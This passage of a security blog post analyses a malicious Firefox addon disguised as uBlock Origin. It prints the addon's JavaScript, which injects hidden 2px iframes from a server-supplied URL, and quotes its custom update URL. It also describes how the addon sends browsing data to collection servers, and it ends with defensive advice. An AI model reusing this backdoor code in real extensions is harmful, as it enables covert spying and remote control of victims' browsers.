class=\"p\">(<\/span><span class=\"nx\">configParams<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">               <\/span><span class=\"nx\">myConfigFunction<\/span><span class=\"p\">(<\/span><span class=\"kc\">null<\/span><span class=\"p\">,<\/span><span class=\"nx\">configParams<\/span><span class=\"p\">[<\/span><span class=\"mf\">0<\/span><span class=\"p\">],<\/span><span class=\"w\"> <\/span><span class=\"nx\">configParams<\/span><span class=\"p\">[<\/span><span class=\"mf\">1<\/span><span class=\"p\">],<\/span><span class=\"w\"> <\/span><span class=\"nx\">configParams<\/span><span class=\"p\">[<\/span><span class=\"mf\">2<\/span><span class=\"p\">],<\/span><span class=\"w\"> <\/span><span class=\"nx\">configParams<\/span><span class=\"p\">[<\/span><span class=\"mf\">3<\/span><span class=\"p\">],<\/span><span class=\"w\"> <\/span><span class=\"nx\">configParams<\/span><span class=\"p\">[<\/span><span class=\"mf\">4<\/span><span class=\"p\">]);<\/span>\n<span class=\"w\">           <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">           <\/span><span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"nx\">result<\/span><span class=\"p\">.<\/span><span class=\"nx\">indexOf<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;tupdate&quot;<\/span><span class=\"p\">)<\/span><span class=\"o\">!=-<\/span><span class=\"mf\">1<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">           <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">               <\/span><span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"nx\">result<\/span><span class=\"p\">.<\/span><span class=\"nx\">indexOf<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;xml-api&#39;<\/span><span class=\"p\">)<\/span><span class=\"o\">==-<\/span><span class=\"mf\">1<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">               <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">                   <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;only tupdate!&#39;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">                   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">resultstr<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">result<\/span><span class=\"p\">.<\/span><span class=\"nx\">split<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;=&#39;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">                   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">len<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">resultstr<\/span><span class=\"p\">.<\/span><span class=\"nx\">length<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">                   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">result<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">resultstr<\/span><span class=\"p\">[<\/span><span class=\"nx\">len<\/span><span class=\"o\">-<\/span><span class=\"mf\">1<\/span><span class=\"p\">];<\/span>\n<span class=\"w\">                   <\/span><span class=\"k\">try<\/span>\n<span class=\"w\">                   <\/span><span class=\"p\">{<\/span><span class=\"w\">  <\/span>\n<span class=\"w\">                       <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">result<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">                       <\/span><span class=\"kd\">var<\/span><span class=\"w\">  <\/span><span class=\"nx\">tarr<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">result<\/span><span class=\"p\">.<\/span><span class=\"nx\">substr<\/span><span class=\"p\">(<\/span><span class=\"w\"> <\/span><span class=\"nx\">result<\/span><span class=\"p\">.<\/span><span class=\"nx\">indexOf<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;[&#39;<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"nx\">result<\/span><span class=\"p\">.<\/span><span class=\"nx\">indexOf<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;]&#39;<\/span><span class=\"p\">)<\/span><span class=\"o\">+<\/span><span class=\"mf\">1<\/span><span class=\"p\">);<\/span><span class=\"w\"> <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">tarr<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">                       <\/span><span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"nb\">JSON<\/span><span class=\"p\">.<\/span><span class=\"nx\">parse<\/span><span class=\"p\">(<\/span><span class=\"nx\">tarr<\/span><span class=\"p\">))<\/span>\n<span class=\"w\">                       <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">                           <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">t_updates<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\">  <\/span><span class=\"nb\">JSON<\/span><span class=\"p\">.<\/span><span class=\"nx\">parse<\/span><span class=\"p\">(<\/span><span class=\"nx\">tarr<\/span><span class=\"p\">);<\/span><span class=\"w\"> <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">t_updates<\/span><span class=\"p\">);<\/span>\n\n<span class=\"w\">                           <\/span><span class=\"nx\">tracking_updates<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">t_updates<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">tracking_updates<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">                       <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">                   <\/span><span class=\"p\">}<\/span><span class=\"w\"> <\/span><span class=\"k\">catch<\/span><span class=\"p\">(<\/span><span class=\"nx\">e<\/span><span class=\"p\">){<\/span><span class=\"w\"> <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">e<\/span><span class=\"p\">);<\/span><span class=\"w\"> <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;Error!&quot;<\/span><span class=\"p\">);<\/span><span class=\"w\"> <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">               <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">               <\/span><span class=\"k\">else<\/span><span class=\"w\"> <\/span><span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"nx\">result<\/span><span class=\"p\">.<\/span><span class=\"nx\">indexOf<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;xml-api&#39;<\/span><span class=\"p\">)<\/span><span class=\"o\">!=-<\/span><span class=\"mf\">1<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">               <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">                   <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;Both tupdate and xml api!&#39;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">                   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">resultstr<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">result<\/span><span class=\"p\">.<\/span><span class=\"nx\">split<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;=&#39;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">                   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">len<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">resultstr<\/span><span class=\"p\">.<\/span><span class=\"nx\">length<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">                   <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">resultstr<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">                   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">resultSub<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">resultstr<\/span><span class=\"p\">[<\/span><span class=\"nx\">len<\/span><span class=\"o\">-<\/span><span class=\"mf\">5<\/span><span class=\"p\">];<\/span>\n<span class=\"w\">                   <\/span><span class=\"k\">try<\/span>\n<span class=\"w\">                   <\/span><span class=\"p\">{<\/span><span class=\"w\">  <\/span>\n<span class=\"w\">                       <\/span><span class=\"c1\">\/\/console.log(result);<\/span>\n<span class=\"w\">                       <\/span><span class=\"kd\">var<\/span><span class=\"w\">  <\/span><span class=\"nx\">tarr<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">resultSub<\/span><span class=\"p\">.<\/span><span class=\"nx\">substr<\/span><span class=\"p\">(<\/span><span class=\"w\"> <\/span><span class=\"nx\">resultSub<\/span><span class=\"p\">.<\/span><span class=\"nx\">indexOf<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;[&#39;<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"nx\">resultSub<\/span><span class=\"p\">.<\/span><span class=\"nx\">indexOf<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;]&#39;<\/span><span class=\"p\">)<\/span><span class=\"o\">+<\/span><span class=\"mf\">1<\/span><span class=\"p\">);<\/span><span class=\"w\"> <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">tarr<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">                       <\/span><span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"nb\">JSON<\/span><span class=\"p\">.<\/span><span class=\"nx\">parse<\/span><span class=\"p\">(<\/span><span class=\"nx\">tarr<\/span><span class=\"p\">))<\/span>\n<span class=\"w\">                       <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">                           <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">t_updates<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\">  <\/span><span class=\"nb\">JSON<\/span><span class=\"p\">.<\/span><span class=\"nx\">parse<\/span><span class=\"p\">(<\/span><span class=\"nx\">tarr<\/span><span class=\"p\">);<\/span><span class=\"w\"> <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">t_updates<\/span><span class=\"p\">);<\/span>\n\n<span class=\"w\">                         <\/span><span class=\"nx\">tracking_updates<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">t_updates<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">tracking_updates<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">                       <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">                   <\/span><span class=\"p\">}<\/span><span class=\"w\"> <\/span><span class=\"k\">catch<\/span><span class=\"p\">(<\/span><span class=\"nx\">e<\/span><span class=\"p\">){<\/span><span class=\"w\"> <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">e<\/span><span class=\"p\">);<\/span><span class=\"w\"> <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;Error!&quot;<\/span><span class=\"p\">);<\/span><span class=\"w\"> <\/span><span class=\"p\">}<\/span>\n\n<span class=\"w\">                   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">iframe<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nb\">document<\/span><span class=\"p\">.<\/span><span class=\"nx\">createElement<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;iframe&#39;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">                   <\/span><span class=\"nx\">iframe<\/span><span class=\"p\">.<\/span><span class=\"nx\">frameBorder<\/span><span class=\"o\">=<\/span><span class=\"mf\">0<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">                   <\/span><span class=\"nx\">iframe<\/span><span class=\"p\">.<\/span><span class=\"nx\">width<\/span><span class=\"o\">=<\/span><span class=\"s2\">&quot;2px&quot;<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">                   <\/span><span class=\"nx\">iframe<\/span><span class=\"p\">.<\/span><span class=\"nx\">height<\/span><span class=\"o\">=<\/span><span class=\"s2\">&quot;2px&quot;<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">                   <\/span><span class=\"nx\">iframe<\/span><span class=\"p\">.<\/span><span class=\"nx\">id<\/span><span class=\"o\">=<\/span><span class=\"s2\">&quot;randomid&quot;<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">                   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">src<\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">result<\/span><span class=\"p\">.<\/span><span class=\"nx\">substr<\/span><span class=\"p\">(<\/span><span class=\"nx\">result<\/span><span class=\"p\">.<\/span><span class=\"nx\">indexOf<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;http&#39;<\/span><span class=\"p\">),<\/span><span class=\"nx\">result<\/span><span class=\"p\">.<\/span><span class=\"nx\">length<\/span><span class=\"p\">);<\/span>\n\n<span class=\"w\">                   <\/span><span class=\"nx\">iframe<\/span><span class=\"p\">.<\/span><span class=\"nx\">setAttribute<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;src&quot;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">src<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">                   <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;New data Saved!&quot;<\/span><span class=\"w\"> <\/span><span class=\"p\">);<\/span>\n<span class=\"w\">                   <\/span><span class=\"nb\">document<\/span><span class=\"p\">.<\/span><span class=\"nx\">body<\/span><span class=\"p\">.<\/span><span class=\"nx\">appendChild<\/span><span class=\"p\">(<\/span><span class=\"nx\">iframe<\/span><span class=\"p\">);<\/span><span class=\"w\">                                      <\/span>\n<span class=\"w\">               <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">           <\/span><span class=\"p\">}<\/span><span class=\"w\">                       <\/span>\n<span class=\"w\">       <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">   <\/span><span class=\"p\">}<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>Of course, since Firefox <a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Mozilla\/Add-ons\/Updates\">auto-updates all addons<\/a> by default,\neven when the addon wasn't installed from the official Mozilla\naddon <a href=\"https:\/\/addons.mozilla.org\">repository<\/a>, the attacker can easily distribute just\nanother more evil version of its malware, anytime. For example,\none that captures complete URLs, spies on various access tokens,\nlogs all key-strokes and provides an even more generic JavaScript\ninjection mechanism for controlling the victim's machine in a\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/Botnet\">botnet<\/a>. In our example, the malware wasn't installed\nvia the Mozilla addon repository and thus specifies a custom\n<a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Mozilla\/Add-ons\/Updates\">update URL<\/a> in its <code>manifest.json<\/code>:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>&quot;update_url&quot;: &quot;https:\/\/adblocker.website\/adblock\/updates.json&quot;\n<\/code><\/pre><\/div>\n\n<p>As a nice touch, the malware code in <code>js\/vapi-background.js<\/code> even\ncontains some comments and an <a href=\"https:\/\/en.wikipedia.org\/wiki\/Pankaj\">author note<\/a>:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"c1\">\/\/\/\/\/\/ PANKAJ CODE \/\/\/\/\/\/\/<\/span>\n<\/code><\/pre><\/div>\n\n<h2 id=\"summary\">Summary<a class=\"headerlink\" href=\"#summary\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The 'ublock Ads Plus' (<code>adblocker@pro.org.xpi<\/code>) <a href=\"https:\/\/en.wikipedia.org\/wiki\/Add-on_(Mozilla)\">Firefox addon<\/a> is\nsome nasty <a href=\"https:\/\/en.wikipedia.org\/wiki\/Malware\">malware<\/a>. It tries to disguise it's\nmalicious malware pieces in a copy of the fine and legit <a href=\"https:\/\/en.wikipedia.org\/wiki\/UBlock_Origin\">uBlock\nOrigin<\/a> adblocker addon. When a user is tricked into installing\nthe malware, it constantly spies on the victim. That means a lot\nof personal information, such as all visited domains, history\nprofiles and URL parts are transferred to <a href=\"https:\/\/en.wikipedia.org\/wiki\/Google_Analytics\">Google Analytics<\/a> and\nother shady malware data-collection servers. In addition, the\naddon opens a backdoor to remotely inject iframes into each web\npage. For example, to spy even more on the victim or make the\nbrowser part of a <a href=\"https:\/\/en.wikipedia.org\/wiki\/Botnet\">botnet<\/a>.<\/p>\n<h2 id=\"background\">Background<a class=\"headerlink\" href=\"#background\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>I asked the owner of that Ubuntu machine if he had any idea how\nthis malware addon might got installed. Basically, what happened\nseems to be this: Originally, only the legit <a href=\"https:\/\/en.wikipedia.org\/wiki\/Adblock_Plus\">AdBlock Plus<\/a>\naddon was installed. After a time, some German news sites\nstarted a campaign to deactivate the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Ad_blocking\">web ad-blocker<\/a> to\n'support good journalism'. The user complied - at least he\ndeactivated AdBlock Plus on a few sites for some time. As a\nconsequence, a malicious ad tricked the user to install the\nmalicious 'ublock Ads Plus' (<code>adblocker@pro.org.xpi<\/code>)  malware\naddon.<\/p>\n<h2 id=\"lessons-learned\">Lessons Learned<a class=\"headerlink\" href=\"#lessons-learned\" title=\"Permanent link\">&para;<\/a><\/h2>\n<ul>\n<li>Some malware authors don't seem to care at all to obfuscate their code<\/li>\n<li>Regularly check the addons you (or your users) have installed<\/li>\n<li>Some convenient web APIs like <a href=\"https:\/\/www.ipify.org\/\">ipify.org<\/a> are also\npopular with malware authors<\/li>\n<\/ul>\n<h2 id=\"take-home-message\">Take-Home Message<a class=\"headerlink\" href=\"#take-home-message\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Never deactivate your <a href=\"https:\/\/en.wikipedia.org\/wiki\/Ad_blocking\">ad-blocker<\/a>. It isn't just about\n'conventional' ads, ad networks are <a href=\"https:\/\/en.wikipedia.org\/wiki\/Malvertising\">known to regularly\ndistribute malware<\/a>, either directly via exploiting some\nsecurity vulnerability in the browser or more indirectly via\nsocial engineering - or via a combination of both.<\/p>\n<p>Given the attractiveness of the browsers addon mechanism for\nmalware: only install necessary browser <a href=\"https:\/\/en.wikipedia.org\/wiki\/Add-on_(Mozilla)\">addons<\/a> and\ncarefully check their origin. For example, use the <a href=\"https:\/\/addons.mozilla.org\">official\nMozilla addon repository<\/a>, look at some reviews, usage\nnumbers, and cross-validate some information.<\/p>\n<h2 id=\"see-also\">See Also<a class=\"headerlink\" href=\"#see-also\" title=\"Permanent link\">&para;<\/a><\/h2>\n<ul>\n<li><a href=\"https:\/\/kjaer.io\/extension-malware\/\">Malware in the browser: how you might get hacked by a Chrome\nextension (2016)<\/a>, a blog article that analyses a Chrome\nmalware addon that disguises itself as age verification. That\nmalware sends Facebook access tokens to a central server and also\ncontains some very generic botnet functionality.<\/li>\n<\/ul>","category":[{"@attributes":{"term":"security"}},{"@attributes":{"term":"firefox"}},{"@attributes":{"term":"addon"}}]}]}